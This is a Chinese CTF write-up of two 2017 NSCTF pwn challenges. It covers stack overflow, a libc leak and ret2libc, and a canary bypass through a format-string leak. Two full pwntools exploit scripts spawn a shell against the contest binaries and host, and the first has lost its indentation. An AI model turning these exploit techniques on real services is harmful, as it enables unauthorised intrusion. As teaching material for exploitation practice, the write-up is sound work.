2017-NSCTF-PWN

写在最前

这次比赛值得吐槽的地方很多,但是我的忍住,先讲正经的。
这次总结比赛的两道pwn,都是栈溢出类型的,比较简单。先放上题目链接:http://pan.baidu.com/s/1miT1kPM 密码:hwt3

正式写wp之前我需要默认你们都会IDA和gdb+peda的一些调试技巧以及脚本的编写,我主要讲题目思路,不然这篇文章就变成了工具教学。

PWN1


查看程序信息,32位,动态链接,只开了NX保护,RELORO是Partial。
那么做法就很多了。思路后面讲,继续看程序。


程序接受一次输入,然后不管你输入是什么,都给你输出一大串东西,至于这是为什么,看下面代码就知道了。

程序的main,非常简单,只是有个定时一秒的时钟比较坑,可以选择性地nop掉。


这就是程序的主要函数了,实在是非常简单。
看了这里的代码也可以解释为什么会数出一大串字符了。
再结合汇编页面查看,溢出非常明显。

程序漏洞分析完毕,我们来讲讲思路。

思路:

  1. 由于程序只有一次输入的机会,所以我们必须在第一次输入劫持程序流程。
  2. 由于栈上保留了函数got表的首地址(不同的机器上可能相差一个栈单元的位置),所以可以在第一步劫持控制流的同时进行libc地址的泄露。(至于这个地址保存在何处,需要你们自己去查看。)
  3. 这时候我们劫持了控制流,也有了libc地址。那么我们就再进行一次输入ret2libc完成攻击。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from pwn import *
#SETTING--------------------------------------------
EXCV = './pwn1'
HOST = '116.62.63.190'
PORT = '8888'
context(log_level='debug')
e = ELF(EXCV)
LOCAL = 1
REMOTE = 0
if LOCAL:
io = process(EXCV)
libc = e.libc
if REMOTE:
io = remote(HOST,PORT)
#---------------------------------------------------
if REMOTE:
plt_off = 0x1b0000
sh_off = 0x15900b
sys_off = 0x3a940
if LOCAL:
plt_off = 0x1b2000#libc.got.plt_offset
sh_off = next(libc.search('/bin/sh'))
sys_off = libc.symbols['system']
stack_off = 0xbc
ret1 = 0x08048594
io.recvline()
payload = 'A'*140
payload += p32(ret1)
payload += 'aaaa'*3
payload += 'bbbbb'
io.send(payload)
io.recvuntil('bbbbb')
leak = io.recv(3).ljust(4,'\x00')
plt = u32(leak)*0x100
libcbase = plt-plt_off
system = libcbase + sys_off
shell = libcbase + sh_off
log.info('leak = '+hex(plt))
log.info('libc = '+hex(libcbase))
log.info('system = '+hex(system))
log.info('shell = '+hex(shell))
payload = 'A'*140
payload += p32(system)
payload += p32(shell)
payload += p32(shell)
io.send(payload)
io.interactive()

题目做法很多,比如你也可以不泄露栈上的libc,去泄漏got表,或者ret2resolve,有不同的想法欢迎在评论区留言。

PWN2


和上一题不一样,这里多了canary,但我们总会有办法绕过的。


这就是程序的功能展示了,只要我们每次都输入’Y’,那我们就有无数次的输入机会。


程序main函数,程序有fork,看到这里,那么程序的canary就已经问题不大了。
我们主要分析的函数在下面的 input_name() 中。

可以看到这里还是有个明显的格式化字符串。
我们进行的输入是在 input() 函数中。


由于没有验证字符串长度,我们可以在这里进行溢出。

思路:

  1. 由于canary的存在我们需要首先通过格式化字符串泄露canary的值。因为这个程序的栈上依然存在函数got表首地址,我们可以同时泄露libc地址。
    (那么有了canary和libc地址,我们就可以在第二次输入轻轻松松拿shell了吗?nonono…,这是这道题我没搞懂的地方,我在第二次输入的时候死活写不进’/bin/sh’的地址,但是system却能正常写入。而我经过调试发现system函数参数的位置正好是函数got表首地址,也就是我们第一步泄露出的地址,所以我们第二步的思路如下)
  2. 往我们泄露出的got表地址写入‘/bin/sh\x00’
  3. 写好了‘/bin/sh\x00’,那么我们直接写入system地址就大功告成了,但是事情还是没这么简单。
    由于函数中memcpy()函数的存在,在我们劫持控制流之后它可能会将got表地址作为参数(具体原因我没去深究),然后把我们的输入复制过去,所以我们在这次输入开头也必须带上‘/bin/sh\x00’

EXP:

from pwn import *
#SETTING--------------------------------------------
EXCV = './pwn2'
HOST = '116.62.63.190'
PORT = '8888'
#context(log_level='debug')
e = ELF(EXCV)
LOCAL = 1
REMOTE = 0
if LOCAL:
    io = process(EXCV)
    libc = e.libc
if REMOTE:
    io = remote(HOST,PORT)
#---------------------------------------------------
leak_off =  0x1b2000#libc.got.plt_offset
sys_off = libc.symbols['system']
sh_off = next(libc.search('/bin/sh'))
strlen_got = 0x804A038
read_plt = e.plt['read']
loop = 0x804876D
mem_got = e.got['memcpy']
mem_nop = 0x80487E2

io.recvline()
io.sendline('Y')
io.recvline()
io.sendline('%11$10p%12$10p')
io.recvuntil('[*] Welcome to the game ')
canary = eval(io.recv(10))
leak = eval(io.recv(10))
io.recvrepeat(1)
libcbase = leak - leak_off
system = libcbase + sys_off
sh = libcbase + sh_off

log.info('canary = '+hex(canary))
log.info('leak_got_plt = '+hex(leak))
log.info('libcbase = '+hex(libcbase))
log.info('system = '+hex(system))
log.info('shell = '+hex(sh))

io.sendline('1')
io.recv()
io.sendline('Y')
io.recv()
payload = 'A'*64
payload += p32(canary)
payload += 'A'*12
payload += p32(read_plt)
payload += p32(loop)
payload += p32(0)
payload += p32(leak)
payload += p32(8)
io.sendline(payload)
io.send('/bin/sh\x00')

io.recv()
payload = '/bin/sh\x00'.ljust(64,'A')
payload += p32(canary)
payload += 'A'*12
payload += p32(system)+p32(leak)+p32(leak)

io.sendline(payload)

io.interactive()

写在最后

关于EXP中的plt_off和leak_off指的是同一个偏移.查看方法如下(以我的机器为例):

readelf -S /lib/i386-linux-gnu/libc-2.23.so